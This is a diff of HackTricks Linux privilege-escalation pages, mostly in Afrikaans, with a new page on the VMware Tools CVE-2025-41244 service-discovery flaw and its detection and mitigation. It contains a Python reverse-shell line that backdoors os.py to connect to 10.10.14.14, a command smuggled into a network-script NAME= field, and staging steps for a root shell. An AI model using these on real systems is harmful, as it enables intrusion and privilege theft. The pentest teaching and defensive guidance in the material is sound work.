Windows, Linux & Mac. ### Logs -As jy logs kan lees, kan jy dalk **interessante/vertroulike inligting daarin vind**. Hoe vreemder die log is, hoe interessanter sal dit waarskynlik wees.\ -Ook kan sommige "**bad**" gekonfigureerde (backdoored?) **audit logs** jou toelaat om **passwords op te teken** binne audit logs soos verduidelik in hierdie post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +As jy logs kan lees, kan jy dalk **interessante/vertroulike inligting daarin** vind. Hoe vreemder die log is, hoe interessanter sal dit waarskynlik wees.\ +Ook kan sommige "**bad**" geconfigureerde (backdoored?) **audit logs** jou toelaat om **passwords in audit logs te registreer** soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Om **logs te lees** sal die groep [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees. +Om logs te lees, sal die groep [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees. ### Shell-lêers ```bash @@ -1372,100 +1411,106 @@ Om **logs te lees** sal die groep [**adm**](interesting-groups-linux-pe/index.ht ``` ### Generic Creds Search/Regex -Jy moet ook kyk na lêers wat die woord "**password**" in hul **naam** of in die **inhoud** bevat, en ook kyk vir IPs en emails in logs, of hashes regexps.\ -Ek gaan nie hier uiteensit hoe om dit alles te doen nie, maar as jy belangstel kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer, nagaan. +Jy moet ook kyk na lêers wat die woord "**password**" in sy **naam** of binne die **inhoud** bevat, en ook kyk vir IPs en emails in logs, of hashes regexps.\ +Ek gaan nie hier lys hoe om dit alles te doen nie, maar as jy belangstel kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform nagaan. ## Skryfbare lêers ### Python library hijacking -As jy weet van **waar** 'n python script gaan uitgevoer word en jy **kan binne daardie vouer skryf** of jy kan **modify python libraries**, kan jy die OS library wysig en dit backdoor (as jy kan skryf waar die python script uitgevoer gaan word, kopieer en plak die os.py library). +As jy weet van **waar** 'n python script uitgevoer gaan word en jy **kan in daardie map skryf** of jy kan **modify python libraries**, kan jy die OS library wysig en backdoor it (as jy kan skryf waar python script uitgevoer gaan word, kopieer en plak die os.py library). -Om die **backdoor the library** te doen, voeg net aan die einde van die os.py library die volgende reël by (verander IP en PORT): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate eksploitasie +### Logrotate exploitation -'n kwesbaarheid in `logrotate` laat gebruikers met **skryfregte** op 'n loglêer of sy ouerdirektore potensieel verhoogde privileges verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om nie net die toestemmings in _/var/log_ na te gaan nie, maar ook in enige gids waar logrotasie toegepas word. +A vulnerability in `logrotate` lets users with **skryfregte** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. > [!TIP] -> Hierdie kwesbaarheid geld vir `logrotate` weergawes `3.18.0` en ouer +> Hierdie kwesbaarheid raak `logrotate` weergawes `3.18.0` en ouer -Meer gedetailleerde inligting oor die kwesbaarheid is op hierdie bladsy te vinde: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Jy kan hierdie kwesbaarheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten). +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** dus wanneer jy agterkom dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy privileges kan eskaleer deur die logs met symlinks te vervang. +This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Kwesbaarheidsverwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Kwesbaarheid verwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -As, om watter rede ook al, 'n gebruiker in staat is om **skryf** 'n `ifcf-`-skrip na _/etc/sysconfig/network-scripts_ te plaas **of** 'n bestaande een te **aanpas**, dan is jou **system is pwned**. +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Netwerkskripte, byvoorbeeld _ifcg-eth0_, word gebruik vir netwerkverbindinge. Hulle lyk presies soos .INI lêers. Hulle word egter op Linux deur Network Manager (dispatcher.d) \~sourced\~. +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). -In my geval word die `NAME=` attribuut in hierdie netwerkskripte nie korrek hanteer nie. As jy **wit/spasie in die naam het, probeer die stelsel die deel ná die wit/spasie uit te voer**. Dit beteken dat **alles ná die eerste spasie as root uitgevoer word**. +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. -Byvoorbeeld: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Let op die leë spasie tussen Network en /bin/id_) +(_Let asseblief op die leë spasie tussen Network en /bin/id_) -### **init, init.d, systemd, en rc.d** +### **init, init.d, systemd, and rc.d** -Die gids `/etc/init.d` huisves **skripte** vir System V init (SysVinit), die **klasieke Linux service management stelsel**. Dit sluit skripte in om `start`, `stop`, `restart`, en soms `reload` dienste uit te voer. Hierdie kan direk uitgevoer word of deur simboliese skakels wat in `/etc/rc?.d/` gevind word. 'n Alternatiewe pad in Redhat stelsels is `/etc/rc.d/init.d`. +Die gids `/etc/init.d` huisves **scripts** vir System V init (SysVinit), die **klassieke Linux-diensbestuurstelsel**. Dit sluit scripts in om `start`, `stop`, `restart`, en soms `reload` dienste uit te voer. Hierdie kan direk uitgevoer word of deur simboliese skakels gevind in `/etc/rc?.d/`. 'n Alternatiewe pad in Redhat-stelsels is `/etc/rc.d/init.d`. -Aan die ander kant is `/etc/init` geassosieer met **Upstart**, 'n nuwer **diensbestuur** wat deur Ubuntu bekendgestel is, wat konfigurasielêers vir diensbestuurtake gebruik. Ten spyte van die oorskakeling na Upstart word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik weens 'n kompabiliteitslaag in Upstart. +Aan die ander kant is `/etc/init` geassosieer met **Upstart**, 'n nuwer **diensbestuurder** wat deur Ubuntu ingestel is, en gebruik konfigurasielêers vir diensbestuurtake. Ten spyte van die oorgang na Upstart word SysVinit-skripte steeds saam met Upstart-konfigurasies gebruik weens 'n versoenbaarheidslaag in Upstart. -**systemd** tree as 'n moderne inisialiserings- en diensbestuurder, wat gevorderde funksies bied soos op-aanvraag daemon-opstart, automount-bestuur, en stelseltoestand-snapshots. Dit orden lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateurwysigings, wat die stelseladministrasieproses vereenvoudig. +**systemd** tree na vore as 'n moderne inisialisering- en diensbestuurder, wat gevorderde funksies soos on-demand daemon-start, automount-bestuur, en stelseltoestand-snapshots bied. Dit orden lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateurwysigings, wat stelseladministrasie vereenvoudig. ## Ander truuks ### NFS Privilege escalation - {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} ### Escaping from restricted Shells - {{#ref}} escaping-from-limited-bash.md {{#endref}} ### Cisco - vmanage - {{#ref}} cisco-vmanage.md {{#endref}} ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks koppel gewoonlik 'n syscall om bevoorregte kernelfunksionaliteit aan 'n userspace manager bloot te lê. Swak manager-verifikasie (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan 'n plaaslike app in staat stel om die manager na te boots en na root op reeds-gerootte toestelle op te skaal. Leer meer en eksploitasiendetails hier: - +Android rooting frameworks koppel gewoonlik 'n syscall om bevoorregte kernel-funksionaliteit aan 'n userspace manager bloot te stel. Swakke manager-authentisering (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan 'n plaaslike app in staat stel om die manager na te boots en op reeds-rooted toestelle na root te eskaleer. Leer meer en sien uitbuitingbesonderhede hier: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) + +Regex-driven service discovery in VMware Tools/Aria Operations kan 'n binêre pad uit proses se command lines uittrek en dit met -v onder 'n bevoorregte konteks uitvoer. Permissiewe patrone (bv. gebruik van \S) kan pas by aanvaller-geplaasde listeners in skryfbare lokasies (bv. /tmp/httpd), wat kan lei tot uitvoering as root (CWE-426 Untrusted Search Path). + +Leer meer en sien 'n gegeneraliseerde patroon wat op ander discovery/monitoring stacks van toepassing is hier: + +{{#ref}} +vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + +## Kernsekuriteitsbeskerming - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Meer hulp [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix Privesc Gereedskap +## Linux/Unix Privesc Tools ### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) @@ -1474,7 +1519,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumereer kernel-vulns in Linux en macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (fisiese toegang):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ @@ -1482,6 +1527,10 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## References +- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) +- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) + + - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) - [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) @@ -1503,4 +1552,6 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md new file mode 100644 index 000000000..2c8df125b --- /dev/null +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -0,0 +1,146 @@ +# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) + +{{#include ../../banners/hacktricks-training.md}} + +Hierdie tegniek misbruik regex-gedrewe service discovery-pipelines wat hardlopende prosesopdraglyne ontleed om diensweergawes af te lei en daarna 'n kandidaat-binary met 'n "version"-vlag uitvoer. Wanneer toegewingpatrone onbetroubare, deur 'n aanvaller beheerde paaie aanvaar (bv. /tmp/httpd), voer die bevoorregte versamelaar 'n ewekansige binary uit vanaf 'n onbetroubare ligging, wat local privilege escalation tot gevolg het. NVISO het dit gedokumenteer in VMware Tools/Aria Operations Service Discovery as CVE-2025-41244. + +- Impak: Local privilege escalation to root (or to the privileged discovery account) +- Oorsaak: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines +- Getroffen: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) + +## Hoe VMware service discovery werk (hoë vlak) + +- Credential-based (legacy): Aria voer discovery-skripte binne die guest uit via VMware Tools met geconfigureerde bevoorregte credentials. +- Credential-less (modern): Discovery-logika loop binne VMware Tools en het reeds bevoorregte regte in die guest. + +Albei modusse voer uiteindelik shell-logika uit wat prosesse met luisterende sokkette skandeer, 'n pasende opdragpad via 'n regex uithaal, en die eerste argv-token met 'n version-vlag uitvoer. + +## Hoofrede en kwesbare patroon (open-vm-tools) + +In open-vm-tools stem die serviceDiscovery-plugin script get-versions.sh kandidaat-binaries aan deur breë regular expressions te gebruik en voer die eerste token uit sonder enige trusted-path-validasie: +```bash +get_version() { +PATTERN=$1 +VERSION_OPTION=$2 +for p in $space_separated_pids +do +COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") +[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND +done +} +``` +Dit word aangeroep met permissiewe patrone wat \S (nie-witspasie) bevat en sal maklik nie-stelselpaadjies in gebruikersskryfbare liggings pas: +```bash +get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v +get_version "/usr/(bin|sbin)/apache\S*" -v +get_version "/\S+/mysqld($|\s)" -V +get_version "\.?/\S*nginx($|\s)" -v +get_version "/\S+/srm/bin/vmware-dr($|\s)" --version +get_version "/\S+/dataserver($|\s)" -v +``` +- Uittrekking gebruik grep -Eo en neem die eerste token: ${COMMAND%%[[:space:]]*} +- Geen whitelist/allowlist van vertroude stelselpaaie nie; enige ontdekte listener met 'n ooreenstemmende naam word uitgevoer met -v/--version + +Dit skep 'n untrusted search path execution primitive: ewekansige binaries wat in world-writable gidsies geleë is (bv. /tmp/httpd) word deur 'n geprivilegieerde komponent uitgevoer. + +## Exploitation (both credential-less and credential-based modes) + +Voorvereistes +- Jy kan 'n ongeprivilegieerde proses laat loop wat 'n listening socket op die guest oopmaak. +- Die discovery job is geaktiveer en loop periodiek (tipies elke ~5 minute). + +Stappe +1) Plaas 'n binary in 'n pad wat ooreenstem met een van die permissiewe regexes, bv. /tmp/httpd of ./nginx +2) Laat dit loop as 'n laag-privilegieerde gebruiker en maak seker dit open enige listening socket +3) Wag vir die discovery-siklus; die privileged collector sal outomaties uitvoer: /tmp/httpd -v (of soortgelyk), wat jou program as root uitvoer + +Minimale demo (met NVISO se benadering) +```bash +# Build any small helper that: +# - default mode: opens a dummy TCP listener +# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) +# Example staging and trigger +cp your_helper /tmp/httpd +chmod +x /tmp/httpd +/tmp/httpd # run as low-priv user and wait for the cycle +# After the next cycle, expect a root shell or your privileged action +``` +Tipiese prosesafstamming +- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i + +Artefakte (credential-based) +Herstelde SDMP wrapper scripts onder /tmp/VMware-SDMP-Scripts-{UUID}/ kan direkte uitvoering van die rogue path toon: +```bash +/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" +``` +## Algemeneer die tegniek: regex-gedrewe ontdekkingmisbruik (draagbare patroon) + +Baie agents en monitoring-suites implementeer weergawe-/diensontdekking deur: +- Opsomming van prosesse met luisterende sockets +- Grepping argv/command lines met permissiewe regexes (bv. patrone wat \S bevat) +- Die gematchte pad uit te voer met 'n goedaardige vlag soos -v, --version, -V, -h + +As die regex onbetroubare paadjies aanvaar en die pad vanaf 'n geprivilegieerde konteks uitgevoer word, kry jy CWE-426 Untrusted Search Path-uitvoering. + +Abuse recipe +- Gee jou binary 'n naam soos algemene daemons wat die regex waarskynlik sal pas: httpd, nginx, mysqld, dataserver +- Plaas dit in 'n skrywebare gids: /tmp/httpd, ./nginx +- Verseker dit pas die regex en open enige poort om geïnventariseer te word +- Wag vir die geskeduleerde versamelaar; jy kry 'n outomatiese geprivilegieerde aanroep van -v + +Maskeeringsnota: Dit stem ooreen met MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) om die kans op 'n match en onopgemerktheid te verhoog. + +Reusable privileged I/O relay truuk +- Bou jou helper sodat by geprivilegieerde aanroep (-v/--version) dit verbinding maak na 'n bekende rendezvous (bv. 'n Linux abstract UNIX socket soos @cve) en stdio oorbrug na /bin/sh -i. Dit vermy on-disk artefakte en werk oor baie omgewings waar dieselfde binary met 'n vlag heruitgevoer word. + +## Opsporings- en DFIR-riglyne + +Opspoornavrae +- Ongewone subprosesse van vmtoolsd of get-versions.sh soos /tmp/httpd, ./nginx, /tmp/mysqld +- Enige uitvoering van nie-stelsel absolute paadjies deur ontdekkingskripte (kyk vir spasies in ${COMMAND%%...} uitbreidings) +- ps -ef --forest om afstammings-boom te visualiseer: vmtoolsd -> get-versions.sh -> + +Op Aria SDMP (credential-based) +- Inspekteer /tmp/VMware-SDMP-Scripts-{UUID}/ vir tydelike skripte en stdout/stderr-artefakte wat uitvoering van aanvallerpaaie toon + +Beleid/telemetrie +- Alarmeer wanneer geprivilegieerde versamelaars vanaf nie-stelsel voorvoegsels uitvoer: ^/(tmp|home|var/tmp|dev/shm)/ +- Lêerintegriteitsmonitering op get-versions.sh en VMware Tools-plugins + +## Mitigasies + +- Patch: Pas Broadcom/VMware-opdaterings toe vir CVE-2025-41244 (Tools and Aria Operations SDMP) +- Deaktiveer of beperk ontdekking sonder credentials waar moontlik +- Valideer vertroude paaie: beperk uitvoering tot toegelate gidse (/usr/sbin, /usr/bin, /sbin, /bin) en slegs presiese bekende binaries +- Vermy permissiewe regexes met \S; verkies geanker, eksplisiete absolute paaie en presiese opdragname +- Verlaag voorregte vir ontdekkinghelpers waar moontlik; sandbox (seccomp/AppArmor) om impak te verminder +- Monitor en waarsku op vmtoolsd/get-versions.sh wat nie-stelselpaadjies uitvoer + +## Aantekeninge vir verdedigers en implementeerders + +Veiliger matching- en uitvoerpatroon +```bash +# Bad: permissive regex and blind exec +COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") +[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v + +# Good: strict allowlist + path checks +candidate=$(get_command_line "$pid" | awk '{print $1}') +case "$candidate" in +/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) +"$candidate" -v 2>&1 ;; +*) +: # ignore non-allowlisted paths +;; +esac +``` +## Verwysings + +- [NVISO – Jy noem dit, VMware eskaleer dit (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [Broadcom-advies vir CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) +- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 09f2239c9..569b603a6 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -1,16 +1,27 @@ +# VMware ESX / vCenter Pentesting + {{#include ../../banners/hacktricks-training.md}} -# Opname +## Enumeration ```bash nmap -sV --script "http-vmware-path-vuln or vmware-version" -p msf> use auxiliary/scanner/vmware/esx_fingerprint msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ``` -# Bruteforce +## Bruteforce ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -As jy geldige akrediteerbare inligting vind, kan jy meer metasploit skandeerder modules gebruik om inligting te verkry. +As jy valid credentials vind, kan jy meer metasploit scanner modules gebruik om inligting te verkry. + + +### Sien ook + +Linux LPE via VMware Tools diensontdekking (CWE-426 / CVE-2025-41244): + +{{#ref}} +../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} {{#include ../../banners/hacktricks-training.md}}